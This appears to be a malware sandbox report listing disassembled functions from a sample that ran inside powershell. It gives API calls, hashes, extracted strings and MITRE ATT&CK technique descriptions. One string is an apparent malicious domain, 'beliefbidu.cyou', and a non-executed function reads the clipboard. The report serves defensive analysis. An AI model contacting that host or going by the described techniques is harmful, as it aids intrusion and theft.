
Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 2$6$D$V$_$`$c53$g$g@AF$k$n$q$~
API String ID: 237503144-642791327
Opcode ID: c3fb0bef98cc73e5d85fbe9fd3da3fd1cbd069f01281790aa5bb459eec59e74f
Instruction ID: 92f9509dc02db1722c5b01c12f7d3cee62e119ebcb874207945c62466de21fff
Opcode Fuzzy Hash: c3fb0bef98cc73e5d85fbe9fd3da3fd1cbd069f01281790aa5bb459eec59e74f
Instruction Fuzzy Hash: 46130271D083948FDB10DF78C94439EBFB1AB56314F0886AED499AB3C2D3788985CB56

Function 00418B09 Relevance: 14.6, APIs: 1, Strings: 7, Instructions: 631
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pdrH, xrefs: 00418F58
|wcx, xrefs: 00418F4D
ydeP, xrefs: 00418F6E
D~@}, xrefs: 00418F2C
,+>5, xrefs: 00418D18, 00418D1F
rp, xrefs: 0041910D
rOaa, xrefs: 00418F63

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID:
String ID: ,+>5$D~@}$pdrH$rOaa$ydeP$|wcx$rp
API String ID: 0-2232585159
Opcode ID: f5c62efc85644e1ce5d0c4b65c33cdaa790a267e5e925e365b76ed150260f24d
Instruction ID: 64ccacfa59522f6594220496c83af1aaa425201a08b716e618b1b96805b09d2c
Opcode Fuzzy Hash: f5c62efc85644e1ce5d0c4b65c33cdaa790a267e5e925e365b76ed150260f24d
Instruction Fuzzy Hash: 681258B69083418FD324CF28D8957ABB7E1EBD5314F198A3DE49987391EB389C41C786

Function 0040D00B Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 348
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004362B0: GetSystemMetrics.USER32 ref: 004362F2
Part of subcall function 004362B0: GetSystemMetrics.USER32 ref: 00436302

CoUninitialize.COMBASE ref: 0040D020

Strings

V, xrefs: 0040D18E
?676, xrefs: 0040D157
12$N, xrefs: 0040D14C
SP h, xrefs: 0040D1F7
qN, xrefs: 0040D46D
beliefbidu.cyou, xrefs: 0040D4B6

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: 12$N$?676$SP h$V$beliefbidu.cyou$qN
API String ID: 1128523136-1123517507
Opcode ID: c0071af18dc7ce0ca10e4f0463775e60d2d6944dedff223cc695c8bf716332d5
Instruction ID: 5c187267af93b72a03466516cad72737b2b278d4495833ea478c4019f6e3b085
Opcode Fuzzy Hash: c0071af18dc7ce0ca10e4f0463775e60d2d6944dedff223cc695c8bf716332d5
Instruction Fuzzy Hash: D9B133B280D3918FD3308F69C8943ABBBE1AFD2304F18496DD4D95B291D7399909CB96

Function 00424877 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?), ref: 0042489C

Strings

CNB, xrefs: 004248B6
%", xrefs: 00424C49
]:z8, xrefs: 00424C19

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: %"$CNB$]:z8
API String ID: 237503144-541582697
Opcode ID: 3a710719ff135aeb7a02caa64a9db8cbdc51aff7b630bb5a1f8d56c5e5ea86b0
Instruction ID: d5ce4a319e31baebd117ffa97e3edfb8700f9ab3e372c103c228b17b98cfc83d
Opcode Fuzzy Hash: 3a710719ff135aeb7a02caa64a9db8cbdc51aff7b630bb5a1f8d56c5e5ea86b0
Instruction Fuzzy Hash: 42E1EEB5618340CFD314DF69E88222BBBE5FBC6304F04993EE5858B351EB788945CB5A

Function 004087F0 Relevance: 7.7, APIs: 5, Instructions: 180
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408814
GetCurrentThreadId.KERNEL32 ref: 0040881E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004088C5
GetForegroundWindow.USER32 ref: 004088DA
ExitProcess.KERNEL32 ref: 00408A47

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 962e5a70a393bed0902453f32b253e6b4be844352fa4fb10b370a5280af19746
Instruction ID: c97ed7bd89a8f885e9245b756607d4c5802f69ca8cb7f7d0f3289549a45c28ac
Opcode Fuzzy Hash: 962e5a70a393bed0902453f32b253e6b4be844352fa4fb10b370a5280af19746
Instruction Fuzzy Hash: F4519C33F002140BD71CAF698D5635AB5979BC6704F0E813EA985FB3E6EE789C0586C9

Function 0042F883 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 649
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042FCF4

Strings

gmhb, xrefs: 0042FEDF
Bc, xrefs: 0042FD63
jR, xrefs: 0042FD02

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: Bc$gmhb$jR
API String ID: 3960555810-2251447812
Opcode ID: 74704888163aa1f50cd7ee68f9b367b6b0a8b8f46dc574eb9617b62fd269b1d2
Instruction ID: fa2209cf57c00ede9005a425a2416e4bfe92cbfb06c9cdc7c11edca875600028
Opcode Fuzzy Hash: 74704888163aa1f50cd7ee68f9b367b6b0a8b8f46dc574eb9617b62fd269b1d2
Instruction Fuzzy Hash: 4C12FD7160C3918ED7258F2984503ABFFE1AF96314F58896EE0C9D7392D739880ACB56

Function 00434AC3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00434B56

Strings

0, xrefs: 00434E06

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 4f7805b33f88c9d957bc43da8a2850fc4c94ab2fd3a8ebad8de8e9909ecfb56e
Instruction ID: 5bb14c97a079a02977c224eb920e59657a928407cdd856dbf196a25e0dcca3b4
Opcode Fuzzy Hash: 4f7805b33f88c9d957bc43da8a2850fc4c94ab2fd3a8ebad8de8e9909ecfb56e
Instruction Fuzzy Hash: 51A10821109FC28ED332C73C8848797BED26BA7224F188B9DD0FB4B2D6D7656506C766

Function 00410E06 Relevance: 2.4, APIs: 1, Instructions: 925COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c6c66297437171642fa5f5121a25609bd1b84d302226b94952dd7bfeabc71f8
Instruction ID: 3beea40bad8253f0d18e404c3f87737a7124b0e9aaa0417961ec7ff61e8455fc
Opcode Fuzzy Hash: 9c6c66297437171642fa5f5121a25609bd1b84d302226b94952dd7bfeabc71f8
Instruction Fuzzy Hash: 3472E576604B408FD314DF38C9853A6BBE1AB95314F198A3ED5EBC77D2E638A445CB02

Function 0043F9E0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043FA84

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: df2beeda09c09e984f28768149db1a272b96c9fec862ce56612eb4cc31d012e5
Instruction ID: 9d1c65b0c970f8e4148684d0335090dace11874cd2ab9aa1df5eacb8a2ad1828
Opcode Fuzzy Hash: df2beeda09c09e984f28768149db1a272b96c9fec862ce56612eb4cc31d012e5
Instruction Fuzzy Hash: 5B11BA77F496108BD308CF38DC81156B353EBC5315B2EE93ED492C7251CA38E5068A89

Function 0043F8D0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044265B,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043F8FE

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00432CD2 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432D46

Strings

0, xrefs: 00432F4B

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 0c6e585ab09646930496bad95ce722d344611f1a9b86ca1a42661f7cb47d7d69
Instruction ID: 93c0f00be39eab99641e74ed12d2cfeb1f369305d7965d92b7b93a615612adc2
Opcode Fuzzy Hash: 0c6e585ab09646930496bad95ce722d344611f1a9b86ca1a42661f7cb47d7d69
Instruction Fuzzy Hash: 5B91F820508FC18AE336C63C8558347BFD25B67228F084A9DD1E64BBD2D3AAB119C766

Function 00431304 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 00431310

Strings

0, xrefs: 00431584

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: FreeString
String ID: 0
API String ID: 3341692771-4108050209
Opcode ID: 5bb5ad9aabd796976c511bd0dcfd700d1fc101917d873dc514590b8067ab0216
Instruction ID: 7bd4fa1b9c7f9252f095f6ee36f5b2c1ae239f4278836df2ab0c436a47408fda
Opcode Fuzzy Hash: 5bb5ad9aabd796976c511bd0dcfd700d1fc101917d873dc514590b8067ab0216
Instruction Fuzzy Hash: 92716D3010DFC28EE332863C88597D6BED16B67324F084B9DE5FA4B2E2C7656106D766

Function 004399CA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004399EA

Strings

gSXY, xrefs: 00439A1C

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: gSXY
API String ID: 95929093-2308619843
Opcode ID: 3f63bb1bdfbbcc973a470661657813de8413b13dedc40fb84f461fe961b6f605
Instruction ID: 620525caa5750f3fbaa082ed977af7bb25a404654a4ff0bb4fd4d0fa6aa7dbb5
Opcode Fuzzy Hash: 3f63bb1bdfbbcc973a470661657813de8413b13dedc40fb84f461fe961b6f605
Instruction Fuzzy Hash: 7621D332E082A48FE714CF7DDC857997AA16B49324F0942BDD968E3381C9798E448B91

Function 0040E76A Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040E77C
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040E794

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 460d367245d5423d1001dea2051c018af14e1cacc4c950eb135212aab871d795
Instruction ID: 6d8eb4c9a71cfa0fac2c30bea9d458284256f252ce80b353ff9f148803b6d019
Opcode Fuzzy Hash: 460d367245d5423d1001dea2051c018af14e1cacc4c950eb135212aab871d795
Instruction Fuzzy Hash: C1E0177C3D83107BFA344710AC17F003A51AB46F22F308324B721BD6E986E03501860D

Function 0043F850 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043F88C

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 00ae6ab1dbe08b58277faaa7670a6d033d1de1336a888dc5f73ccc85afc62d9b
Instruction ID: 32fb9a2e2a0d0970447abaeafdef5df26a4660513a1bd34095225783fdc0601c
Opcode Fuzzy Hash: 00ae6ab1dbe08b58277faaa7670a6d033d1de1336a888dc5f73ccc85afc62d9b
Instruction Fuzzy Hash: D0F0593A844210FBC7112F29BC02A1B3B79DF8B325F045836F00493112D73CE421869F

Function 0043558C Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004355D5

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9e712a8aa58133978060148df3f21c23ccc413aa5e46e66ff985b8420c81600d
Instruction ID: bd2b730154fbb63244f1a61ba1d68859a7639ad7fd76fe1f890586dab4e84b7b
Opcode Fuzzy Hash: 9e712a8aa58133978060148df3f21c23ccc413aa5e46e66ff985b8420c81600d
Instruction Fuzzy Hash: 9CF097B41087018FD314DF28D0A875ABBF0FB89304F10891CE5998B3A0C7B5A948CF82

Function 0043214B Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432199

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 004d8404e62e79e02e30b83c4d981e6ed84f540766e096347b2afdeb256b80dd
Instruction ID: 4dd25b397603f96d034336acea51d23d4f01891ff73cd37bd4c63425336a08a4
Opcode Fuzzy Hash: 004d8404e62e79e02e30b83c4d981e6ed84f540766e096347b2afdeb256b80dd
Instruction Fuzzy Hash: 2EF074B5209702CFE301DF25D16575BBBE5BB85314F25891CE0A44B391C7B9AA498FC2

Function 0040CDF0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE03

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d7bb6dd8c034ebeecf1dd482c6cbdc6f9ef1a08c5d87f0134ba7cc965ab0bab9
Instruction ID: 8c82ed3e20d551d337a36a0b174d7c2e9568b0383433891e4577c577dd690e04
Opcode Fuzzy Hash: d7bb6dd8c034ebeecf1dd482c6cbdc6f9ef1a08c5d87f0134ba7cc965ab0bab9
Instruction Fuzzy Hash: 79D0A7796509487BD204E71CDC17F123A6CD343719F500239F262DA5D2D9507C11C6AF

Function 0043E140 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004131D7), ref: 0043E160

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f3e716118a09b004a8b801929e63562d40e522d7354276d71811941f41e7a92a
Instruction ID: 6db9b6db96c397b1635a4a60856d9a035c2aa1cb40d28a1774b90aa6d29893e3
Opcode Fuzzy Hash: f3e716118a09b004a8b801929e63562d40e522d7354276d71811941f41e7a92a
Instruction Fuzzy Hash: CED0C971445122FBC6102F58BC16BCB3B549F49365F0748A1B5446A165D674ECA18AD8

Function 0043FA76 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043FA84

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 6a6dea2491743cb1c358379911bf3cfb190608e3821932c9d1d99495bc698cc5
Instruction ID: 3ed26353a01ec732593db8ca6acb2d9fc3959ff43c323288e526554498b29b2a
Opcode Fuzzy Hash: 6a6dea2491743cb1c358379911bf3cfb190608e3821932c9d1d99495bc698cc5
Instruction Fuzzy Hash: 7AE012BD941650AFD704DF14EC554657361FB46349345183DE543C3362D734E612CF9A

Non-executed Functions

Function 00436120 Relevance: 9.1, APIs: 6, Instructions: 121clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436142
GetClipboardData.USER32 ref: 00436163
GlobalLock.KERNEL32 ref: 00436180
GetWindowLongW.USER32 ref: 004361EC
GlobalUnlock.KERNEL32 ref: 0043628B
CloseClipboard.USER32 ref: 00436295

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: f423e7f95f04c56e3e7d8b9f7b259bbfaa987c001a127b6cc26f49800cea0487
Instruction ID: 496753accd2cc5ba7a7ec783aa53d9ad9cd15602055d8129c598602fc6fe4cee
Opcode Fuzzy Hash: f423e7f95f04c56e3e7d8b9f7b259bbfaa987c001a127b6cc26f49800cea0487
Instruction Fuzzy Hash: A741C1B4808B82DFD700BF78D54935ABFE0AB06304F06867ED49997282D3799558CB9B

Function 00424E90 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00424F96
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00425002

Strings

~{, xrefs: 00425023
01, xrefs: 00424F16

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 01$~{
API String ID: 237503144-2620732742
Opcode ID: 717a6dd7644c223c0b90ef9fba2db71ea3524c2a48d8bd09532db24cd89ef71d
Instruction ID: e587f16773c8b845911879d151f2646b2124a574fff6ee935d251286bc230151
Opcode Fuzzy Hash: 717a6dd7644c223c0b90ef9fba2db71ea3524c2a48d8bd09532db24cd89ef71d
Instruction Fuzzy Hash: BA61F0B16083519FE710CF28EC41B5FBBE0EBC6704F50892DF9A55B281D774994ACB86

Function 004362B0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004362F2
GetSystemMetrics.USER32 ref: 00436302

Strings

gmC, xrefs: 004364D4
(hC, xrefs: 00436450
"lC, xrefs: 00436487
8pC, xrefs: 00436403
_pC, xrefs: 0043645B
FlC, xrefs: 004363B6

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID: "lC$(hC$8pC$FlC$_pC$gmC
API String ID: 4116985748-4076175089
Opcode ID: 451022a71057f05a36ae3db83f136bd11c6e2e82aa1356c53dcb6ef05c1580f6
Instruction ID: 8303d235ae03d06f5a87b79e25d551cecc9c480debaa10704bee1459047d54e4
Opcode Fuzzy Hash: 451022a71057f05a36ae3db83f136bd11c6e2e82aa1356c53dcb6ef05c1580f6
Instruction Fuzzy Hash: 5D711BB04093848AE770DF24D5897CFBAE1BBC5308F10891ED6D84B355DBB84858EF9A

Function 00424750 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00424825

Strings

\*, xrefs: 00424779
AV, xrefs: 00424781
)Z, xrefs: 00424771

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: )Z$AV$\*
API String ID: 237503144-1825024375
Opcode ID: 320be5de9a11b8a2af5d02390bff7cbddbe26706bb5e1af6c229b919d4c08367
Instruction ID: 46aa9f3b6d7d62ae66e10a3914a0de6c2412a712e047e7d171af6192b95df8d7
Opcode Fuzzy Hash: 320be5de9a11b8a2af5d02390bff7cbddbe26706bb5e1af6c229b919d4c08367
Instruction Fuzzy Hash: 3C21323424D3A59FD314DEA4EC4031FBBA1EBC1300F14883DEAE01B781D6B498069B82

Function 0042F1AD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042F332

Strings

NTi, xrefs: 0042F240
v, xrefs: 0042F332

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: NTi$v
API String ID: 3664257935-2548746011
Opcode ID: 6ddedc346b8198cf2df4f08b7062c202b54b57415a370ad28ce2e1a0a845925e
Instruction ID: 631509d967249336e41e98e90db1e6a91b5904b526f7cd5e09ff28fb704c097b
Opcode Fuzzy Hash: 6ddedc346b8198cf2df4f08b7062c202b54b57415a370ad28ce2e1a0a845925e
Instruction Fuzzy Hash: FE5178716083819BD3258F249C61BABBFE0FF92314F58497DF8D697381DB3888098B56

Function 0042A660 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0042A74E

Strings

n&C$, xrefs: 0042A6B2
Q:l8, xrefs: 0042A6AA

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Q:l8$n&C$
API String ID: 237503144-121464526
Opcode ID: 31d7f01630a322f0d5118918246f4b20439bd0e0ab7e7a81c966d5510e1380bb
Instruction ID: d546114f02a4f5cd3885c47121b5b4f8e307a352de154fd72ce95bab60450f74
Opcode Fuzzy Hash: 31d7f01630a322f0d5118918246f4b20439bd0e0ab7e7a81c966d5510e1380bb
Instruction Fuzzy Hash: 2F31ED706893A19BD3148F669884B1FFBE2EBC5700F14892CE9918B791C7B4C802CB82

Function 0040B9D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408A2E), ref: 0040B9D6
FreeLibrary.KERNEL32 ref: 0040B9F7

Strings

v, xrefs: 0040B9D6, 0040B9F7

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: v
API String ID: 3664257935-2904040280
Opcode ID: b55848b81c87c8c16a7d4dcfd3f1ee5fef49fcce9eab6fdf71618fb54499c164
Instruction ID: 47bd2ad44189122b2cf985b1ebabf8b8a892d294e02f22a82d81656c89946559
Opcode Fuzzy Hash: b55848b81c87c8c16a7d4dcfd3f1ee5fef49fcce9eab6fdf71618fb54499c164
Instruction Fuzzy Hash: 4FC002794028009BEF026FA6FD0D81C3B66FB46707B5081B4AA2544235DB628921ABA9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

